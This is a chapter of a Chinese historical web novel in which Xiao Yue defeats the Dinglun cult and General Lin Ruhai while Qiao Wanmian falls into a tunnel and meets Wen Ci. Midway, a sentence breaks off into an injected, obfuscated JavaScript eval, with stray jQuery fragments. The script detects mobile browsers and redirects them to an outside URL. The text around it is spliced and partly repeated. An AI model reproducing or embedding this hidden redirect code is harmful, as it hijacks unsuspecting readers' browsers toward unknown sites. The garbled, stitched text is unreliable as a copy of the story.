两支队伍渐渐逼近，顶轮教教众的吟唱随风飘来。


    乔婉眠凝神细听，他们韵律古怪，诡异，却别有韵味。


    她侧目看向萧越，未及开口，萧越沉声道：“此曲无源可溯，似凭空而作。所用乐器亦非寻常之物，难以辨识。”


    乔婉眠抓紧手中匕首，严阵以待。


    萧越淡然一笑，道：“莫慌，此车乃精钢所铸，坚不可摧。除非他们将整座山炸平，否则休想伤及分毫。”


    这算什么安慰。


    乔婉眠开始担心山榻了。


    萧越看穿她的心思，又道：“放心，沿途每一寸土地皆已查探，绝无火药埋藏。”


    乐声渐响，对面宁城百姓的呼喊声也清晰可闻。


    “血肉苦厄”、“杀灾星”、“即刻飞升”等词句传入耳中，乔婉眠眉头紧蹙，回眸对萧越道：“大人，他们听着像是走火入魔，恐难劝服。”


    不仅乔婉眠有此感，后方众人亦纷纷拔刀持剑，自发集结，欲以血肉之躯护住乔诚与萧越的马车。


    他们位于上坡，顶轮教众自下坡缓缓逼近。


    乔婉眠透过车前特制的琉璃窗望去，只见顶轮教众如鬼魅般自地平线浮现，白影幢幢，令人心悸。


    天色昏沉，雨雪交织，道路两侧的枯枝张牙舞爪。


    前方数人高举巨大的白幡，幡上绘有赤红图腾，诡异非常。


    其后是一群衣衫单薄的女子，赤足踏雪，将纸钱与花瓣洒向泥泞的道路。即便相隔甚远，乔婉眠仍能看清她们冻得发青的嘴唇，口中喃喃低诵，神情麻木。


    后面数十壮年男子，手持怪异乐器，或吹或弹，亦念念有词。


    最后方是一队身着白色短打的武人，面容冷峻，步伐整齐，人数逾千。


    乔婉眠心下一凛。


    这些人应是林如海的亲信死士，亦是此次刺杀的主力。


    队伍中央，两顶大轿被众人簇拥，轿周白纱层层叠叠，随风飘荡，几乎垂地，难辨其中是否有人。


    有点眼熟，是不是他开的恶劣玩笑？


    两军相距不足五丈时，刃刀吹响号角，萧越的残队应声止步。


    对面亦停下脚步。


    雨雪霏霏中，两相对峙。


    顶轮教白幡翻飞，乐声诡谲，宁城百姓情绪激昂，高喊“除魔卫道”、“杀萧越”、“必杀违天妖邪”等口号，挥舞兵刃，步履不停，要冲破中线，拼死一战。


    萧越这边，朱色大旗猎猎作响，上书“回避”、“大盛”、“监察团”等字样，侍卫与金吾卫铁甲森然，气势如虹，人数亦占上风。


    乔婉眠紧扒小窗，心悬于喉。


    就在此时，乔诚提枪跃下马车，昂首立于阵前，将投靠的百姓与金吾卫护在身后。他长枪顿地，声如洪钟，朝对面喝道：“对面之人，除齐国的顶轮教教徒外，可有我大盛子民？”


    冲在最前的青年闻言一怔，转头看向身旁操着宁城口音的顶轮教徒，扬声道：“我等都是盛国百姓——莫胡说，仙师也是盛国人！”


    乔诚声如洪钟，震彻山谷：“盛国子民，莫受齐人蛊惑！教徒乃盛人，仙师却未必。”他顿了下，“吾乃宿城乔诚，奉天子之命护送萧老将军长孙萧越拜见林老将军。此乃圣意，更关乎西原存亡。尔等若执意，便是叛徒。不仅无半分功德，反将永堕地狱，受业火焚身之苦！”


    此言一出，更多脚步顿住。


    宁城，谁人没受过乔城恩惠？


    几次灾年，若非他施以援手，宁城早空了。


    岂能对恩人举刀？


    宁城人手中兵刃渐垂，面露犹疑。


    更何况，他提及天子。


    他们眼里，皇权如天，视皇帝为神明，敬畏之心更甚于乔婉眠。


    且仙师从未言明萧越乃皇帝所遣。


    若杀了天子使者，岂非要坠入十八层地狱？


    宁城人进退维谷，既敬且惧。


    不少人侧目打量身旁短打壮汉，狐疑道：“你当真是齐人？说，‘东边来了个喇嘛’下一句是什么？”


    乔婉眠愕然：“大人，您提前教过大伯？”


    乔家还有能以理服人之人？


    萧越淡淡道：“未曾。此皆你大伯一人之才。他能在这虎狼之地守住家业，智慧自非常人可比。”


    启束赞道：“最后一句尤妙，真乃以彼之道，还施彼身。”


    眼见人心渐散，“仙师”终是按捺不住。


    一顶轿中缓缓探出一只枯瘦如柴的手，苍白宽袖随风轻扬，乐声戛然而止。


    “吾乃顶轮仙师，号二文。昨日卜算，魔星乱世，祸患苍生，故吾破关而出。尔等既受我教点化，何不速速醒悟，以罪人之血，为阖家积攒功德？若吾出手，尔等可记不上功德了。”


    言辞虽冠冕堂皇，却难掩怪异腔调，听着就不是正经门派的。


    那枯手一挥，乔婉眠只听车旁异响骤起。


    随即，噼啪之声如雨点般砸落车顶，车外惊呼、混乱脚步声与哀嚎交织。


    乔婉眠透过侧窗机关望去，只见两旁树木拦腰而断，纷纷倒向车顶。


    车旁有人躲闪不及，被砸中倒地，幸免者急忙回身施救。


    宁城人见状，纷纷跪拜：“此乃仙术，仙师神威！”


    “听仙师的！”


    那阴阳怪气的老者继续道：“萧越藏身车中，因倒行逆施、冤杀林城主，已遭天谴。若再拖延，尔等皆将因他染疫而亡。还不动手？此乃几世难修的功德，错过便永生永世轮回受苦。杀他一人，可换尔等生生世世富贵。”


    是啊……此生太苦，岂甘来世也重蹈覆辙？杀萧越！


    杀！


    杀！


    杀！


    他们重新举起武器，双目赤红狂热，潮水般涌来。


    乔诚横枪在前，与刃刀等人合力挑飞数人。


    对方如蝗虫过境，前仆后继，毫不畏死。见乔诚等人手下留情，更是肆无忌惮，直往刀尖上撞。


    一时间血肉横飞。


    不少人突破防线，挥舞兵刃猛击马车，车身却只微微晃动。


    萧越将长剑横置于膝上，闭目凝神。片刻后，他睁开鹰隼般的双眸，问乔婉眠：“可准备好了？”


    乔婉眠本抱头蜷缩在车角，闻言抬头，目光坚毅：“随时。”


    萧越轻笑，“好。”


    “二文仙师”见百姓久攻不下，耐心尽失，吩咐身旁壮年男子：“去助他们一臂之力。”


    壮年男子抱拳领命：“末将领命！”


    白衣壮汉迅速融入战局，他们武艺高强，训练有素，配合默契，出手狠辣。无论是顶轮教招来的百姓，还是金吾卫，凡挡路者，格杀勿论。


    霎时间，刀光剑影，血雾弥漫。


    对方毫无顾忌，划破白衣后露出内里铠甲，以一敌三，游刃有余。


    唯有萧越亲自训练的暗卫能与之抗衡。


    一金吾卫熟悉其招式，交手数招后惊呼：“镇西军？为何叛国投敌？”


    对方直言不讳：“我等只效忠林将军一人。”


    死士。


    那金吾卫一分神，险些被死士一刀劈开面门，幸而一把染血长剑横在他面前。


    他感激看向架剑之人，“谢了，兄弟。”又抽空道：“他们是林如海在镇西军中豢养的死士。”


    “看出来了，你们不敌他们，莫再分心。”刃刀沉声道。


    “好嘞。”


    -


    一番鏖战，萧越的马车始终固若金汤。


    “让开！萧越，你还要龟缩多久？”


    “二文仙师”耐心耗尽，手提一柄近一人高的玄铁长刀，一刀劈开层层薄纱，踏着人头跃上马车。


    他虽矮小瘦弱，七尺长刀在他手中竟如木条般轻巧。


    “砰！”


    长刀重重劈在车顶，声震百里。众人皆被这巨响震慑，喊杀声戛然而止，片刻后才再度生死相搏。


    乔婉眠只觉耳中嗡鸣不止。


    萧越拧开机关，闪身而出。


    乔婉眠抬头，只在机关闭合前瞥见萧越最后一线身影。


    “好啊你！又是这等伎俩！”小老头指着萧越跳脚，“幸亏料到你小子有诈，早有防备。”


    “终于正式见面了，鬼手老前辈。”萧越不吭不卑，按剑挺立于车顶。


    鬼手诧异，“你如何知晓？”


    萧越垂眸睨他一眼，朗声道：“辛苦诸位，萧某无恙，只是迫于形势，不得已称病。林之死有余辜，我亦未遭天谴，顶轮教不过是一群骗子。他，也非什么‘二文仙师’。‘二文’合为‘齐’，他乃齐国素有‘鬼手’之称的池亦行。‘顶轮教’是齐人杜撰出来削弱大盛的邪教。”


    他的声音穿透刀剑相击之音，直抵宁城百姓心底。


    “你们大可问交手的百姓，林之是忠是奸。”萧越继续道。


    原在打斗的百姓动作都慢下来。


    “兄弟别打了，我是宿城的，刚靠着大人逃出奇狗黑矿……”


    “大人没事？那咱停吧，我真累了。来，给你讲讲林之那畜牲……”


    萧越抽空回头看乔婉眠。


    鬼手长刀忽地朝萧越脑后疾劈而下，乔婉眠刚瞥见丝虚影，还没来得及做出反应，萧越已闪身避开。


    一切仅在瞬息之间。


    萧越回头讥讽：“前辈忒不爱惜名声，频出阴招。”


    鬼手阴森一笑：“呀，被发现了。你也不遑多让，够能装的。来吧小子，老夫特地来取你性命，自不会白跑一趟，你我换个地方较量。”


    “好啊。”


    鬼手跃上前车顶，萧越紧随其后。


    他转身，踩着断裂木桩往无人处掠去，边行边回头问：“你何时何地又是如何知晓老夫身份的？”


    却见萧越竟直接越过人群，一剑挥向另一顶轿子，“我倒要看看，这里还藏着什么妖魔鬼怪。”他语气轻蔑。


    白纱纷纷扬扬落地。


    轿中端坐着一位老者，身着干练白色短打，银枪横膝，枪尖在日光下划出三寸寒芒。


    他目光如炬，威严扫视众人，最终定格在萧越身上。


    他长眉倒竖，短须花白，不紧不慢地提起长枪，“竖子猖狂！”怒喝同时，"铛——"一声响，林老将军枪尾顿地，撑到萧越所立木桩旁，以雷霆之势扫出一枪。


    萧越足尖轻点，呼吸间便退至三丈外松枝上。


    他半笑不笑的挑衅："林将军的破阵枪法，晚辈十二岁便临摹过枪谱。"


    众人为萧越脱险松口气后，才一片哗然。


    林老将军竟在齐国邪.教的轿里？刺杀朝廷监察御史？


    萧越笑着退后几步，“林老将军，晚辈是听您名字长大的，今日终于得一见。请赐教。”


    “狂妄。老夫本只想看着你死再接回吾儿。既开口，便喂尔两招。”


    萧越又朝鬼手勾勾手，很是猖狂，“这不是比试的地方。二位若敢一起来，我就说你和你的小徒弟是怎么露馅的。”说罢，身形一闪，如燕子掠水般飞身而去。


    “不知天高地厚！你既自愿，别怪我们二打一！”两个暴躁老头被他激怒，骂骂咧咧追着去。


    其余人依旧在原地搏杀，高手负责决一死战，他们只管打群架。


    泥血顺着山路蜿蜒，地上横陈穿着各种服装的尸体，打远看，就像平原上盖了层红底百家被。


    乔婉眠忧心忡忡地看着三道身影隐入云霭，听不见耳边金戈铮鸣荡开朝霞，惊起寒鸦。


    －


    低云郁郁，苍山叠嶂，前方是一处废弃的巨大矿坑，萧越纵身，衣袂翻飞间稳稳落在坑底。


    他懒散回头，嘴角噙着笑："两位前辈，此处风水甚佳。"


    鬼手急得揪住稀疏白胡，"正好！快说，说完送你上路。"


    萧越寻了块青石坐下，"既然你想知道，我便从头道来。"


    "齐国皇子文辞，身中无解寒毒，被送开阳为质。多年来，他以残疾之态麻痹大盛，暗中打探、传递大盛机密；又因勾结三皇子事败，仓皇出逃。他来时尚年幼，是你一直在暗中教导，可对？"


    鬼手面露得色，捋须道："不错。"


    "但他心高气傲，在与你一同行刺圣上或我之间，选了分头行动。结果他在轻尘山刺杀我时身受重伤，连累你也行刺失败，险些丧命。"


    鬼手眸色瞬间阴狠，握紧手中兵刃。


    "你们仓惶逃命，又遭齐太子死士追杀，坠落山崖。被杨家村百姓救下后，巧遇乔家父女。他认出乔婉眠，受她恩惠却恩将仇报，以婚约相欺。"说到此处，萧越嘴角的笑意消散，"直至我出现，你们怕脱身更惹怀疑，便继续潜伏刺探。阴差阳错，文辞因我寒毒发作，你给他用甜参压制。"


    鬼手激动站起，“甜参乃齐国珍宝，百年能得一株，皇亲贵胄都没听说过，你怎么知道？”


    林如海沉声开口，神色复杂，“当年镇西军抄过你们恭亲王的家，其中就有一根红参。多年后萧锦写信告诉我，当时收缴的那珍贵甜参，都被他家的混世魔王，也就是你眼前这混小子，当糖吃了，补得烧了半个多月下不来床，还浑身姑娘似的一股甜味。”


    萧越垂眸，长睫掩去眸光："不错。那甜腻滋味我永生难忘，是以文辞一现身，我便推测出他的身份，以及他背后的你。"


    "你是如何断定我身份？"


    萧越淡淡道："有传言称鬼手池亦行乃贵妃兄长，且文辞生母极受宠，齐国皇帝必会派心腹护他。再加，文辞为质后，你也销声匿迹。"


    鬼手目露凶光，"既早知晓，为何隐忍到那小子拜祭亡军？"


    萧越目光晦暗，踢开脚边石子："我们目的暂且一致，都是要将水搅浑再开战。若非我在，他岂能平安至此？你这一路，定也替他挡下无数暗杀。”


    “最后赶他走，是因他触了底线，我不愿再保他。"


    林如海不动如山，目光虚虚落在萧越身上，又像透过他在看故人。


    一步三算，像，真像。


    "哦……还有。"萧越笑得恶劣，"你们不该仗着游已子也消失多年，便谎称是他徒弟。"


    说话间，地面微微震颤，远处的隆隆马蹄声也逐渐清晰。


    林如海与鬼手神色骤变，戒备姿态立显。


    鬼手问："游已子还活着？他在何处？"


    "原在乔府……现在……"萧越顽劣地拖长语调。


    "在此！"


    萧越身后的巨石轰然崩裂，碎石飞溅。


    烟尘中，一鹤发童颜的老者身着雪白道袍，手持青锋，剑尖直指鬼手："何时领你徒儿来给老夫磕头敬茶？"


    地面震颤愈烈。


    林如海与鬼手望向矿坑之上。


    一匹乌骓马踏破阴霾，马背上的黑甲将军手持玄旗，旗面猎猎作响。


    接着，铁蹄声如雷，黑甲骑兵列阵而出，长枪如林，将矿坑团团围住。


    林如海瞳孔骤缩，银枪如龙直取萧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990289|160709||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    越："黄口小儿，心机深沉！竟早在此设伏！"


    萧越轻巧避过，反手一剑直刺林如海肋下："林老将军带了一辈子兵，还要晚辈教你兵不厌诈？尔乃卖国鼠辈，不配与我论公平道义。"


    他微侧首，鸦睫上落的雪瞬间融成水珠，随着他发令而颤动，“黑甲军，列阵，活捉。”


    另一边，鬼手与游已子已过数十招。鬼手袖中暗器尽出，却被游已子一一化解。


    他抽空抱怨林如海："镇西军怎的被你带成了废物？连有人在你的地盘上养这么多骑兵都不知道！别恋战，脱身要紧！"


    林如海探手入怀，萧越剑光如电，逼得他不得不收手："别叫人来枉送性命了，镇西军是你的兵。认了吧林老将军，你和林之一样，斗不赢我。"


    林如海一怔，而后怒火滔天。


    林如海身形一晃，眼中怒火滔天。


    四个儿子没了……他苦守二十年的秘密也没了……连最后的独子也被姓萧的害死！


    苍天不公！


    林如海弃了哨子，弓步踏开："好，那老夫就看看你是真天纵奇才，还是徒有虚名。"


    萧越长剑斜指："请赐教。"


    另一边，鬼手几次都要脱身，却被游已子拦住。他渐渐回过味来，骂道：“不对！你们早能制服我，在这遛——”话音戛然而止。


    他一屁股坐下，摆手，“不打了不打了，要杀要剐随便。”


    黑甲军一拥而上，领头的笑道："就等你这句话。"


    武功高强之人可自爆心脉，如此消磨其意志，断绝死志。


    见鬼手被重重铁索所缚，萧越这才全力出手。


    剑光如虹，招招出人意料。


    不过数合，林如海已披头散发，白衣染血，脚下踉跄。


    "单打独斗，林老将军不是我的对手。"萧越收剑而立，"如今我已知晓你们二位这二十年守得辛苦，林之的事，晚辈也无可奈何。林老将军节哀。"


    “随我走罢，功过是非留给那些文人评判。”


    林如海咳血，扶着剑才站稳，道：“我走出这条路，就没想受人指摘。老夫不怪齐人，只怪自己选错了路。当初就不该终于萧问川，直接投齐不就好了……他们就都还在……”


    萧越沉默，再行一礼，转身收剑，跃上一匹无鞍白马："都交给你们，务必将人看好。"


    而后扬鞭，马蹄飞踏，雪白马腹溅上污泥。


    要快，还有人在等他。


    -


    萧越目力极佳，远在数里之外便已看清战局——齐国与林如海的人马尽数被俘。


    但，他精心设计的那辆马车消失了。


    刃刀等人听到马蹄声，骑马迎来。


    众人下马跪拜请罪："末将有罪。一个时辰前，乔小姐连车带人坠入机关，生死未卜……"


    萧越表情阴鸷，策马上前查看。


    只见原本停驻马车之处，几寸厚的泥土已沉入机关，露出一块青黑色石板。


    乔应舟不顾四周的粘稠血水，跪在血泥里，身旁搁着一柄断剑，边哽咽，边拿一把短刃徒劳撬着那吞噬马车的石板。


    桑耳、卫道、敛剑虽知徒劳，仍在他身旁一道撬。


    乔诚低声对萧越道："拦不住，就让他撬罢。"


    刃刀满身血污，凝重禀报："大人，此处早有机关，似是地道入口。两军在此相遇，当是对方精心谋划。石板乃整块穿水岩，厚重异常，且与地道完全嵌合。若非从地道内启动机关，凭我们现有工具根本撬不开，且不知地下情况，不敢擅用火药。"


    萧越深吸一口气，走到被俘“仙师”面前，拔剑架在一人颈间："你，可知这密道？答不出便死。"


    第一人求饶：“大人，我连这有密道都不知道，大人饶命！”


    剑光一闪，那人咽喉已断。


    鲜血在萧越迈出一步后才喷涌而出，悄然融入他的墨色袍角。


    "莫等我一个个杀。"萧越剑尖挑起另一人下巴，"你呢？"


    那人支支吾吾，萧越剑锋一转，再背一命。


    血液喷洒，再次融入袍角。


    萧越神情暴戾，毫不留情，却迟迟听不到想要的答案。


    袍角早已浸透鲜血，随着他的脚步滴落，在地上蜿蜒成溪。


    终于，"我有话说，大人饶命！"


    ……


    ——一个时辰前——


    乔婉眠倚窗凝望，目送萧越诱敌远去。


    直至其身影消逝于视野尽头，她方低眉垂目，默祷诸天神佛庇佑。


    惶然间，忽觉足下微震，乔婉眠欲起身探看，却闻一声巨响，车身陡然倾侧。她惊呼一声，额角撞上桌案，跌坐车中。


    车身急坠，乔婉眠先被抛起，复又重重跌落，臀下生疼。


    四周昏晦不明。


    乔婉眠正欲求援，忽闻头顶嘎吱作响，光一寸寸消失，终至伸手不见五指。


    四周昏暗。


    乔婉眠晕晕乎乎想呼救，只听头顶嘎吱巨响，本就宝贵的天光一寸寸变暗，到最后，伸手不见五指。


    寂静中，痛楚袭来。


    乔婉眠掏出火折子点亮烛台，从机关往外看：四周漆黑一片，似乎是一条很长的密道。


    火苗摇晃，车里气味从萧越身上好闻的檀香味变成了地窖的腐坏泥土味。


    果然是通风的，只是，会通到那里吗？


    乔婉眠皱了皱眉，“……？”


    什么东西湿答答热乎乎的蛰眼睛？


    她手一抹，用烛台照，眼前当即一黑。


    是血。


    她才感受到头顶似乎痛，但也能忍。


    照往常她早就吓哭了，现下竟没有丝毫害怕或想哭的感觉。


    也许是看死人看得麻木了罢。


    人的心最初很软，真的会越磨越硬，最后生出茧子，就会无悲无喜，不惧鬼神。


    乔婉眠吹灭火折子，藏在车里，不一会，就听见有人从远处走近。


    “有血腥味，乔姑娘，你受伤了？”


    清泉一样的声音响在车外，传进车里变得发闷，似乎没当时听着那样顺耳了。


    乔婉眠心里悬着的石头总算砸到脚上，她闭了闭眼，心中复杂，问：“温渐言，你究竟是何人？”


    “先出来，以后再细说。我保证不瞒你，好吗？现在先让我为你看看伤。”


    对方靠近马车，听着还是那样谦逊温柔，就像阳光照拂初春的嫩叶。


    “那你会伤我吗？”


    时间停滞几息，对方反问：“你还愿信我吗？”


    更久的沉默后，乔婉眠道：“你与我保证，我就信你。”


    文辞长叹：“乔姑娘，你救过我性命，有收留之恩，文书上还是我未婚妻子，我发誓，绝不会伤你，并且余生都护你。”


    乔婉眠拨动机关。


    玄铁落下，只见文辞一席蝉衣，提着一盏骨灯，眉眼清隽未变，整个人挺拔肃静如竹。


    只骨灯光线昏暗摇，地道内未定，文辞仿若置身迷雾。


    方才还在你死我活的战场，跌一跤后就在完全沉寂的地底见到许久未见的人。


    乔婉眠有种恍若梦中的虚幻感。


    她站起身，只觉天旋地转，一个踉跄险些跌倒。


    文辞伸手去搀，神色紧张又惭愧，“真害你受伤了。是我不好。”


    他若真是好人就好了。


    乔婉眠最后一个念头一闪而过，陷入昏迷。